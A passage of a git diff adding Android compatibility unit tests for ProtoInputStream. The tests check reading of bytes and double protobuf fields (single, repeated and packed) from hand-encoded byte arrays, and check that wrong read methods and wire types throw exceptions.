+                    results[2][indices[2]++] = pi.readBytes(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readBytes(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assert (Arrays.equals(new byte[]{}, results[0][0]));
+        assert (Arrays.equals(new byte[]{}, results[0][1]));
+        assert (Arrays.equals(new byte[]{}, results[1][0]));
+        assert (Arrays.equals(new byte[]{}, results[1][1]));
+        assert (Arrays.equals(new byte[]{1, 2, 3, 4}, results[2][0]));
+        assert (Arrays.equals(new byte[]{1, 2, 3, 4}, results[2][1]));
+        assert (Arrays.equals(new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc},
+                results[3][0]));
+        assert (Arrays.equals(new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc},
+                results[3][1]));
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new byte[0][]);
+        testRepeatedCompat(new byte[][]{
+                new byte[0],
+                new byte[]{1, 2, 3, 4},
+                new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc}
+        });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(byte[][] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_BYTES;
+        final long FIELD_ID = fieldFlags | ((long) 151 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.bytesFieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        byte[][] result = new byte[val.length][]; // start off with default value
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readBytes(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.bytesFieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.bytesFieldRepeated[i].length, result[i].length);
+            for (int j = 0; j < result[i].length; j++) {
+                assertEquals(readback.bytesFieldRepeated[i][j], result[i][j]);
+            }
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BYTES;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> {1}
+                (byte) 0x0a,
+                (byte) 0x01,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BYTES;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readBytes(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readBytes(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readBytes(FIELD_ID_3);
+                        // don't fail, length delimited is ok
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readBytes(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+
+}
\ No newline at end of file
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamDoubleTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamDoubleTest.java
new file mode 100644
index 0000000..1efaf32
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamDoubleTest.java
@@ -0,0 +1,727 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.io.IOException;
+
+public class ProtoInputStreamDoubleTest extends TestCase {
+
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_DOUBLE;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+        final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+        final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+                // 10 -> 1
+                (byte) 0x51,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+                // 3 -> -1234.432
+                (byte) 0x19,
+                (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+                (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+                // 4 -> 42.42
+                (byte) 0x21,
+                (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+                (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+                // 5 -> Double.MIN_NORMAL
+                (byte) 0x29,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 7 -> Double.NEGATIVE_INFINITY
+                (byte) 0x39,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+                // 8 -> Double.NaN
+                (byte) 0x41,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+                // 9 -> Double.POSITIVE_INFINITY
+                (byte) 0x49,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        double[] results = new double[9];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readDouble(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readDouble(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readDouble(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readDouble(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5] = pi.readDouble(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6] = pi.readDouble(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    results[7] = pi.readDouble(FIELD_ID_8);
+                    break;
+                case (int) FIELD_ID_9:
+                    results[8] = pi.readDouble(FIELD_ID_9);
+                    break;
+                case (int) FIELD_ID_10:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+        assertEquals(0.0, results[0]);
+        assertEquals(1.0, results[1]);
+        assertEquals(-1234.432, results[2]);
+        assertEquals(42.42, results[3]);
+        assertEquals(Double.MIN_NORMAL, results[4]);
+        assertEquals(Double.MIN_VALUE, results[5]);
+        assertEquals(Double.NEGATIVE_INFINITY, results[6]);
+        assertEquals(Double.NaN, results[7]);
+        assertEquals(Double.POSITIVE_INFINITY, results[8]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1234.432);
+        testReadCompat(42.42);
+        testReadCompat(Double.MIN_NORMAL);
+        testReadCompat(Double.MIN_VALUE);
+        testReadCompat(Double.NEGATIVE_INFINITY);
+        testReadCompat(Double.NaN);
+        testReadCompat(Double.POSITIVE_INFINITY);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(double val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_DOUBLE;
+        final long FIELD_ID = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.doubleField = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        double result = 0.0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readDouble(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.doubleField, result);
+    }
+
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_DOUBLE;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+        final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+        final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x09,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+                // 3 -> -1234.432
+                (byte) 0x19,
+                (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+                (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+                // 4 -> 42.42
+                (byte) 0x21,
+                (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+                (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+                // 5 -> Double.MIN_NORMAL
+                (byte) 0x29,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 7 -> Double.NEGATIVE_INFINITY
+                (byte) 0x39,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+                // 8 -> Double.NaN
+                (byte) 0x41,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+                // 9 -> Double.POSITIVE_INFINITY
+                (byte) 0x49,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+                // 10 -> 1
+                (byte) 0x51,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x09,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x11,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+                // 3 -> -1234.432
+                (byte) 0x19,
+                (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+                (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+                // 4 -> 42.42
+                (byte) 0x21,
+                (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+                (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+                // 5 -> Double.MIN_NORMAL
+                (byte) 0x29,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte) 0x31,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 7 -> Double.NEGATIVE_INFINITY
+                (byte) 0x39,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+                // 8 -> Double.NaN
+                (byte) 0x41,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+                // 9 -> Double.POSITIVE_INFINITY
+                (byte) 0x49,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        double[][] results = new double[9][2];
+        int[] indices = new int[9];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readDouble(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readDouble(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readDouble(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readDouble(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readDouble(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readDouble(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readDouble(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    results[7][indices[7]++] = pi.readDouble(FIELD_ID_8);
+                    break;
+                case (int) FIELD_ID_9:
+                    results[8][indices[8]++] = pi.readDouble(FIELD_ID_9);
+                    break;
+                case (int) FIELD_ID_10:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+        assertEquals(0.0, results[0][0]);
+        assertEquals(0.0, results[0][1]);
+        assertEquals(1.0, results[1][0]);
+        assertEquals(1.0, results[1][1]);
+        assertEquals(-1234.432, results[2][0]);
+        assertEquals(-1234.432, results[2][1]);
+        assertEquals(42.42, results[3][0]);
+        assertEquals(42.42, results[3][1]);
+        assertEquals(Double.MIN_NORMAL, results[4][0]);
+        assertEquals(Double.MIN_NORMAL, results[4][1]);
+        assertEquals(Double.MIN_VALUE, results[5][0]);
+        assertEquals(Double.MIN_VALUE, results[5][1]);
+        assertEquals(Double.NEGATIVE_INFINITY, results[6][0]);
+        assertEquals(Double.NEGATIVE_INFINITY, results[6][1]);
+        assertEquals(Double.NaN, results[7][0]);
+        assertEquals(Double.NaN, results[7][1]);
+        assertEquals(Double.POSITIVE_INFINITY, results[8][0]);
+        assertEquals(Double.POSITIVE_INFINITY, results[8][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new double[0]);
+        testRepeatedCompat(new double[]{0, 1, -1234.432, 42.42,
+                Double.MIN_NORMAL, Double.MIN_VALUE, Double.NEGATIVE_INFINITY, Double.NaN,
+                Double.POSITIVE_INFINITY,
+        });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(double[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_DOUBLE;
+        final long FIELD_ID = fieldFlags | ((long) 11 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.doubleFieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        double[] result = new double[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readDouble(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.doubleFieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.doubleFieldRepeated[i], result[i]);
+        }
+    }
+
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_DOUBLE;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+        final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+        final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+                // 10 -> 1
+                (byte) 0x52,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+                // 3 -> -1234.432
+                (byte) 0x1a,
+                (byte) 0x10,
+                (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+                (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+                (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+                (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+                // 4 -> 42.42
+                (byte) 0x22,
+                (byte) 0x10,
+                (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+                (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+                (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+                (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+                // 5 -> Double.MIN_NORMAL
+                (byte) 0x2a,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte) 0x32,
+                (byte) 0x10,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 7 -> Double.NEGATIVE_INFINITY
+                (byte) 0x3a,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+                // 8 -> Double.NaN
+                (byte) 0x42,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+                // 9 -> Double.POSITIVE_INFINITY
+                (byte) 0x4a,
+                (byte) 0x10,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        double[][] results = new double[9][2];
+        int[] indices = new int[9];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readDouble(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readDouble(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readDouble(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readDouble(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readDouble(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readDouble(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readDouble(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    results[7][indices[7]++] = pi.readDouble(FIELD_ID_8);
+                    break;
+                case (int) FIELD_ID_9:
+                    results[8][indices[8]++] = pi.readDouble(FIELD_ID_9);
